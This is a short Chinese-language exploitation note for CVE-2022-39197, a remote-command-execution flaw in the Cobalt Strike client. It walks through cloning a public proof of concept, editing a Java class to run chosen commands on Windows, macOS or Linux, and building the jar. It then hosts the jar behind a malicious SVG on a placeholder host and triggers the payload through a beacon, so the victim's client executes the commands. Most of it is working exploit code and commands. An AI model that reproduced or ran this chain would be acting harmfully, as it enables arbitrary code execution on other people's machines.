【笔记】CVE-2022-39197漏洞利用

前言

通过its-arun/CVE-2022-39197实现在CobaltStrike客户端访公网上的资源,从而实现对CobaltStrike客户端的远程命令执行漏洞利用

漏洞利用前提

  • CobaltStrike <= 7

下载项目

1
2
git clone https://github.com/its-arun/CVE-2022-39197.git
cd CVE-2022-39197

修改Java项目

  • 修改21~27行代码,修改远程执行的命令

<cmd><shell>:远程执行的命令

EvilJar/src/main/java/Exploit.java
1
2
3
4
5
6
7
if (OS.contains("win")) {
Runtime.getRuntime().exec("<cmd>");
} else if (OS.contains("mac")) {
Runtime.getRuntime().exec("<shell>");
} else if (OS.contains("nux")) {
Runtime.getRuntime().exec("<shell>");
}

编译Java项目为jar包

EvilJar/
1
mvn install
  • 得到EvilJar/target/EvilJar-1.0-jar-with-dependencies.jar

在公网发布编译后的jar包

在公网发布evil.svg静态文件

http://example.com/evil.svg
1
2
3
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="http://example.com/EvilJar-1.0-jar-with-dependencies.jar"/>
</svg>

在执行CobaltStrike生成的木马时执行公网上的evil.svg文件

beacon.exe:CobaltStrike生成的木马

1
python3 cve-2022-39197.py beacon.exe http://example.com/evil.svg

触发

  • 受害者在CobaltStrike客户端查看进程时,会触发远程命令执行

完成